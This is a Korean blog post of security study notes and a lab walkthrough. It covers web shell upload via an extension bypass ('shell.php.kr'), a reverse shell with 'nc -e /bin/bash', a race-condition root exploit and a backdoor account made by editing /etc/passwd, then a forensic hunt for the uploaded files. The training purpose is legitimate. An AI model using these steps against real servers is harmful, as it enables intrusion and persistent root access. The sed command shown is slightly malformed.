Concept 개념정리 |
웹서버를 공격해서 할 수 있는 것.
1) SQL 인젝션 :
2) 리다이렉트 취약점 크로스사이트(XSS) --> 심화(CSRF) :
3) 파일 업로드 :
위의 3가지 공격은 " 취약점이 발생하는 지점 "에서 차이점을 가진다.
XSS는 클라이언트 취약점인 반면,
File upload나 SQL injection은 서버사이드 취약점 이다.
일반적으로 서버사이드에서 발생하는 취약점이 더 critical 하다고 여겨진다.
File upload attack ( web shell )
- File uplaod가 가능 한 조건
(1) 업로드된 파일이 서버에서 실행이 가능해야해 ( 파일을 업로드한 서버 내에 파일이 있어야 한다.)
(2) 파일을 업로드 할 수 있어야 한다. ( .php 파일은 막혀있는 경우가 대부분 )
(3) 업로드된 파일의 경로를 확인할 수 있어야 한다. ( 디렉토리명, 파일명을 알아야. )
Reverse Shell 공격이란
: 서버가 클라이언트에 접속을 요청하고, 클라이언트가 이를 수락하는 과졍 (3hand shake랑 반대)
즉, 방화벽에서 보통 인바운드 규칙은 정해져 있지만( 외부에서 내부로 접속하는것 - 웹 사용자는 80번 포트에 접속가능) 아웃바운드 규칙이 약한 경우가 많기 때문에 공격 PC의 포트를 열고 공격 대상 서버에서 nc로 접속을 하면 공격자 PC에서 cmd.exe를 원격으로 접속할 수 있게 된다.
(리버스 커넥션을 하려면 이 리눅스 서버가 접속할 또다른 서버를 만들어 줘야한다.)
Race Condition 공격이란
: 한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상을 레이스 컨디션이라고 한다. 어떠한 프로그램이 생성하는 임시파일에 대한 심볼릭 링크를 걸어 파일의 내용을 변경하는 방식으로 공격자가 관리자 권한으로 실행되는 프로그램에 끼어들어 무언가를 할 수 있는 여지를 만드는 것이다.
sed / awk / find
Hands-on Practice - 공격 실습 |
공격할 웹 서버의 설정을
10.10.10.10 서버 키고, 스냅샷을 '최종'으로 되어있는 곳으로 돌려준다.
파일을 업로드할 곳을 찾아보다가, 커뮤니티 공간에서 찾았다.
해당 게시판에 jpg 사진파일을 첨부하여 올리고 해당 글을 조회하니 사진파일이 게시글에 보였다 .
(업로드한 JPEG 사진이 바로 보인다는 건 아파치 서버(nobody)가 해당 디렉토리의 사진파일을 실행시킨 것이고,
서버의 해당 디렉토리에 실행 권한이 있다는 의미로 해석해 볼 수 있다. 실행 권한이 없으면 이 사진이 내 PC로 다운로드가 된다.)
- 파일 업로드 경로 찾기
사진의 속성 메뉴에서 사진이 올라간 경로를 볼 수 있었다.
해당 디렉토리에 접속해 보니 아래와 같이 디렉토리 리스팅이 되었다.
- 웹쉘 올리기 ( 확장자 체크, 실행권한 유무)
파일 업로드 공격을 막기 위해 white list나 black list 방식으로 파일의 확장자를 막아놓았을텐데,
"shell.php.kr"로 올리면 웹쉘이 업로드 되었다.
( shell.jpg, shell.php.jpg 로 올리면 실행이 되지 않는다.)
- 올린 웹쉘에서 exploit 코드를 올려, 해당 서버의 취약점 공격
내가 올린 웹쉘은, 아파치 웹 서버가 노바디 권한으로 실행되고 있기 때문에 노바디 권한으로 실행되고 있다.
( 일반적으로 아파치는 노바디 권한이 4개 루트 권한으로 1개가 돌아간다.)
[ 명령어 id 로 확인 가능 ]
exploit 코드는 해당 웹 서버의 공격에 사용되었던 코드를 이용하였다.
해당 코드는 레이스 컨디션 취약점을 이용한 exploit이다. ( 해당 코드를 다 이해하지는 못하였으나 공격 이후 분석을 위한 공격이므로 그대로 진행한다. )
위의 exploit 코드를 해당 디렉토리에 다음과 같이 올리고, 웹쉘에서 gcc 명령어를 이용하여 컴파일 해준다.
포팅된 nc.exe 프로그램을 사용해서 reverse connection을 맺기 위해
공격자 PC( 내 PC )에서 nc.exe를 실행 시킨 후, -l과 -p 옵션을 주어 31337번 포트를 연다. ( nc.exe를 방화벽에서 막을수 있는데 허용하면 된다.)
[ nc.exe -l -p 31337 ]
그리고, 웹 서버에서 열어둔 NC서버( 내 PC의 IP : 10.10.10.1 )로 접속한다.
[ nc -e /bin/bash 10.10.10.1 31337 ]
그러면 아래와 같이 공격자 PC에서 서버에 접속할 수 있게 된다.
컴파일한 exploit 코드를 실행시켜주면 쉘을 딸 수 있다. ( = 루트권한 획득 )
[ ./exp ]
- 루트 권한을 획득한 후에는 계정을 추가하여 루트권한으로 올려준다.
[ useradd hacker ]
[ passwd hacker ]
[ sed -i 'haeker/s/501/0/g' etc/passwd ]
etc/passwd 를 수정해주면 됨....!! 501이라는 문자열을 전부 0으로 바꿔서 ....ㅋㅋㅋㅋ 해도 되고
다운받았다가 다시 올려도 되고.
-->awk 명령어로
<< 공격 진행사항 요약 >>
- 웹쉘 업로드
- 취약점 확인
- exploit 업로드
- RC via
- compile exploit
- execute exploit
- 계정 추가
- 루트계정 추가.
Hands-on Practice - Forensic 분석 실습 |
- 계정정보 -> secure 로그
계정을 추가한 로그가 남아있다.
- 웹 로그 분석
루트권한의 아파치 프로세스 포트가 참조하는로그 파일경로를 참조하여 access log의 경로를 확인할 수 있다.
POST 로그들중, wizboard.php가 파일을 업로드 하는 php 파일이고,
( 파일 업로드을 다시 해보고 어떤 php 파일이 업로드를 하는지 확인해 봐도 됨 )
저 시간을 생성시간으로 지정하여 begin 이라는 파일과 end 라는 파일을 만든다.
touch -t 201406081828 begin
touch -t 201406081849 end
find 명령어를 이용하여 해당 시간에 생성된 모든 파일들을 루트디렉토리에서 탐색해 보면 해당 시간에 올라간 웹 쉘 파일이 무엇인지 알 수 있다.
find / -newer begin -a ! -newer end -ls
Reference |
- 레이스 컨디션 공격
- sed 와 awk
'OLD 2018 ~ 2021 > MAJOR → Forensic' 카테고리의 다른 글
[CodeBlue2017]_[MISC]_incident_response (0) | 2018.07.26 |
---|---|
180522_Suninatas Forensic(day1) (0) | 2018.05.22 |
180118_[IR_Report]_Ransomware (0) | 2018.01.18 |
180107_[IR_report]_linux_webshell (0) | 2018.01.15 |
180105_Memory_Forensic (0) | 2018.01.10 |
댓글